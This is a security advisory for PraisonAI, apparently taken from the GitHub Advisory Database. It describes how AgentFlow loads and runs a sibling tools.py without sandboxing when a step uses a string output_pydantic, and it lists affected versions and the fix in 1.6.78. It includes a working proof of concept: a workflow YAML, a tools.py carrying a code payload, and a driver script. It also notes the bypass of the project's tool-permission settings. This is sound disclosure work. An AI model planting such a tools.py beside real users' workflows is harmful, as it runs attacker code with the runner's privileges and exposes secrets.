praisonaiagents: PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow
What fixes it
- 1.6.78praisonaiagents, pipGitHub
- 1.6.78PraisonAICVE List
- 1.6.78praisonaiagents, PyPIOSV
pip install "praisonaiagents>=1.6.78"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.
Details
The vulnerability is located in the workflow structured output resolution logic.
File: src/praisonai-agents/praisonaiagents/workflows/workflows.py
Method: AgentFlow._resolve_pydantic_class
if self.file_path:
workflow_dir = Path(self.file_path).parent
tools_path = workflow_dir / "tools.py"
if tools_path.exists():
spec = importlib.util.spec_from_file_location("tools", tools_path)
tools_module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(tools_module) # Arbitrary code executionThis code is reached during step execution when a step uses a string output_pydantic:
step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
resolved_class = self._resolve_pydantic_class(step_output_pydantic)file_path is set automatically by:
WorkflowManager._load_workflow()(used by workspace discovery)WorkflowManager.create_workflow()
It can also be set manually after load_yaml():
wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.
PoC
Create the following two files in the same directory:
/tmp/attack/attack.yaml
name: AttackWorkflow
steps:
- name: generate
action: "Produce structured output"
output_pydantic: MaliciousModel/tmp/attack/tools.py
print("[RCE] Arbitrary code executed from tools.py")
import os
with open("/tmp/rce_success.txt", "w") as f:
f.write(f"RCE executed by PID {os.getpid()}")
class MaliciousModel:
@classmethod
def model_json_schema(cls):
return {"type": "object"}Run the following Python code (adjust the path to your PraisonAI source):
import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")
from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent
mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")
wf.file_path = "/tmp/attack/attack.yaml"
for step in wf.steps:
step.output_pydantic = "MaliciousModel"
step._output_pydantic = "MaliciousModel"
if not getattr(step, "agent", None):
step.agent = Agent(
name="researcher",
role="Researcher",
goal="Generate output",
instructions="Return structured data"
)
wf.start("trigger")Impact
Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.
Affected users include:
- Users of
WorkflowManager(workspace_path=...), where workflow discovery automatically setsfile_path. - Users of
WorkflowManager.create_workflow(). - Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.
During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.
As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.
Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.
This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.
Text from GitHub Advisory Database
Affected versions 54
- praisonaiagents, pip<= 1.6.77GitHub
- PraisonAIaffected: all versions before 1.6.78CVE List
- PraisonAIunaffected: 1.6.78CVE List
- praisonaiagents, PyPIfrom first release, fixed in 1.6.78OSV
- praisonaiagents, PyPI0.0.1OSV
- praisonaiagents, PyPI0.0.10OSV
- praisonaiagents, PyPI0.0.100OSV
- praisonaiagents, PyPI0.0.101OSV
- praisonaiagents, PyPI0.0.102OSV
- praisonaiagents, PyPI0.0.103OSV
- praisonaiagents, PyPI0.0.104OSV
- praisonaiagents, PyPI0.0.105OSV
- praisonaiagents, PyPI0.0.106OSV
- praisonaiagents, PyPI0.0.107OSV
- praisonaiagents, PyPI0.0.108OSV
- praisonaiagents, PyPI0.0.109OSV
- praisonaiagents, PyPI0.0.11OSV
- praisonaiagents, PyPI0.0.110OSV
- praisonaiagents, PyPI0.0.111OSV
- praisonaiagents, PyPI0.0.112OSV
- praisonaiagents, PyPI0.0.113OSV
- praisonaiagents, PyPI0.0.114OSV
- praisonaiagents, PyPI0.0.115OSV
- praisonaiagents, PyPI0.0.116OSV
- praisonaiagents, PyPI0.0.117OSV
- praisonaiagents, PyPI0.0.118OSV
- praisonaiagents, PyPI0.0.119OSV
- praisonaiagents, PyPI0.0.12OSV
- praisonaiagents, PyPI0.0.120OSV
- praisonaiagents, PyPI0.0.121OSV
- praisonaiagents, PyPI0.0.122OSV
- praisonaiagents, PyPI0.0.123OSV
- praisonaiagents, PyPI0.0.124OSV
- praisonaiagents, PyPI0.0.125OSV
- praisonaiagents, PyPI0.0.126OSV
- praisonaiagents, PyPI0.0.127OSV
- praisonaiagents, PyPI0.0.128OSV
- praisonaiagents, PyPI0.0.129OSV
- praisonaiagents, PyPI0.0.13OSV
- praisonaiagents, PyPI0.0.130OSV
- praisonaiagents, PyPI0.0.131OSV
- praisonaiagents, PyPI0.0.132OSV
- praisonaiagents, PyPI0.0.133OSV
- praisonaiagents, PyPI0.0.134OSV
- praisonaiagents, PyPI0.0.135OSV
- praisonaiagents, PyPI0.0.136OSV
- praisonaiagents, PyPI0.0.137OSV
- praisonaiagents, PyPI0.0.138OSV
- praisonaiagents, PyPI0.0.139OSV
- praisonaiagents, PyPI0.0.14OSV
- praisonaiagents, PyPI0.0.140OSV
- praisonaiagents, PyPI0.0.141OSV
- praisonaiagents, PyPI0.0.142OSV
- praisonaiagents, PyPI0.0.143OSV
References 4
- vulncheck.com/advisories/praisonai-before-remote-code-execution-via-tools-pyAdvisoryvia CVE List
- github.com/advisories/GHSA-4gfv-wg42-7jw5Advisoryvia GitHub
- github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4gfv-wg42-7jw5Exploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-61437Referencevia GitHub